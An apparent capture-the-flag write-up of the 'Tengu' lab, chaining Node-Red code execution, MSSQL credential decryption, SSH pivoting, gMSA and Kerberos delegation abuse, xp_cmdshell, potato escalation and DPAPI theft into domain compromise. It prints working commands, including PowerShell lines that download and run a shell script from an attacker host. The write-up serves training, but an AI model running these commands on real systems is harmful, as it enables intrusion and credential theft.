Tengu is a Hard difficulty lab that focuses on exploiting a complex Windows-based environment, involving multiple stages of lateral movement and privilege escalation. The attack starts by discovering a vulnerable Node-Red instance, leading to remote code execution (RCE) through the exploitation of the exec function. The attacker decrypts MSSQL credentials and sets up an SSH tunnel for pivoting, gaining internal access to the MSSQL server. Active Directory enumeration with BloodHound uncovers access to a gMSA account with constrained delegation rights. By extracting the gMSAPassword and leveraging Kerberos, the attacker impersonates a domain user to gain administrative access to MSSQL. Further privilege escalation is achieved by enabling xp_cmdshell for a reverse shell, followed by DPAPI credential extraction and Kerberos ticket handling, resulting in domain-level compromise and retrieval of the root flag.

Enumeration

The initial Nmap scan revealed the following open ports.

DC.tengu.vl

1
2
3
Machine DC
PORT STATE SERVICE
3389/tcp open domain

SQL.tengu.vl

1
2
3
Machine SQL
PORT STATE SERVICE
3389/tcp open domain

NODERED.tengu.vl

1
2
3
4
Machine Linux
PORT STATE SERVICE
22/tcp open ssh
1880/tcp open vsat-control

The Node-Red machine has port 1880 open, indicating an active Node-Red instance.

Additionally, it’s running an MSSQL server, which I can’t access externally.

Node-Red

Remote Code Execution (RCE)

After researching Node-Red, I found an article explaining how to exploit the exec function. It also provided a script that uses default credentials to achieve code execution by leveraging this vulnerability.

Password Decryption

As seen early the password of mssql is encrypted. The flow use must have the credential in order to finish the whole process flow. Inside Node-Red installed folder there are 2 files which can use to drcrypt the password.
Earlier, the MSSQL password was encrypted. The flow must contain the credentials to execute properly. Inside Node-Red’s installed folder, two files flows_cred.json & .config.runtime.json can be used to decrypt the password.

Decrypt Node-RED Credentials

MSSQL Enumeration

I transferred the Nmap binary to the Linux machine and scanned the IPs. The following ports were found to be open:

DC.tengu.vl

1
2
3
4
5
6
7
8
9
10
11
PORT     STATE SERVICE                                          
53/tcp open domain
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
3389/tcp open ms-wbt-server

SQL.tengu.vl

1
2
3
4
PORT     STATE SERVICE                                          
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3389/tcp open ms-wbt-server

I was able to reach the MSSQL server internally.

I attempted to use Chisel and ligolo-ng for pivoting, but neither worked. I then generated an SSH key and added my public key to the nodered_svc user’s home directory to create an SSH tunnel for pivoting.

1
2
3
4
5
6
7
8
9
10
ssh-keygen -t rsa

# Create a new .ssh directory inside the user’s home folder
mkdir .ssh
chmod 700 ~/.ssh
echo 'ssh-rsa......<snip>.....=' > ~/.ssh/authorized_keys
chmod 644 ~/.ssh/authorized_keys

# SSH dynamic tunnel in the background
ssh -D 1080 -C -N -f [email protected] -i id_rsa

Now, using proxychains, I can connect to the MSSQL server.

Inside the Demo database, I found a user and a password hash, which I decrypted using CrackStation.

With these credentials, I logged into the NODERED machine, escalated privileges to root, and captured the first flag.

Active Directory Enumeration

Using the domain credentials, I ran BloodHound to gather information about the domain.

BloodHound didn’t show any interesting ACLs for t2_m.winters.

However, checking the compromised Linux machine revealed that I could read the gMSAPassword for GMSA01$.

GMSAPassword

To read the gMSAPassword, I needed machine credentials. I looked into /etc/ for the krb5.keytab and extracted the NTLM hash using keytabextract.

Next, I used Netexec to retrieve the gMSAPassword for gMSA01$.

Constrained Delegation

GMSA01$ has constrained delegation rights over SQL.tengu.vl.

I confirmed this by running finddelegation from Impacket.

Even though I have delegation permissions, I couldn’t impersonate the Administrator because they belong to a protected group. However, I found two users in the SQL_Admins group and successfully impersonated T1_M.Winters.

proxychains4 -q getST.py -spn "MSSQLSvc/sql.tengu.vl" -impersonate "t1_m.winters" -no-pass -hashes :fb7788<SNIP>490c49575 'tengu.vl/[email protected]' -dc-ip 10.10.233.197

Using the TGT, I logged into the MSSQL server with admin privileges:
proxychains4 -q KRB5CCNAME=t1_m.winters@[email protected] mssqlclient.py -k -no-pass [email protected] -port 1433 -dc-ip 10.10.233.197

MSSQL XP_CMDShell ReverseShell

I enabled xp_cmdshell and ran a PowerShell script to gain a shell on the machine:

xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://10.8.2.110/shell.ps1\\")"

SeImpersonatePrivilege With SharpEfsPotato

GMSA01$ have SeImpersonatePrivilege and I used SharpEfsPotato to gain a shell as NT AUTHORITY.

.\SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "-c IEX(New-Object Net.WebClient).DownloadString("http://10.8.2.110/shell.ps1")"

DPAPI Credentials

I used SharpDPAPI to extract machine DPAPI secrets and retrieve credentials for T0_c.fowler.
.\SharpDPAPI.exe machinecredentials

Unfortunately, I couldn’t use these credentials to log into the DC due to account restrictions.

Kerberos Authentication

I created my krb5.conf configuration file at /etc/.
Configuring Kerberos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[libdefaults]
default_realm = TENGU.VL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true

[realms]
TENGU.VL = {
kdc = dc.tengu.vl
}

[domain_realm]
.tengu.vl = TENGU.VL

Afterward, I obtained a TGT for T0_c.fowler and validated the TGT.

kinit T0_c.fowler

Using the TGT, I logged into the DC and retrieved the root flag.

evil-winrm -r tengu.vl -i dc.tengu.vl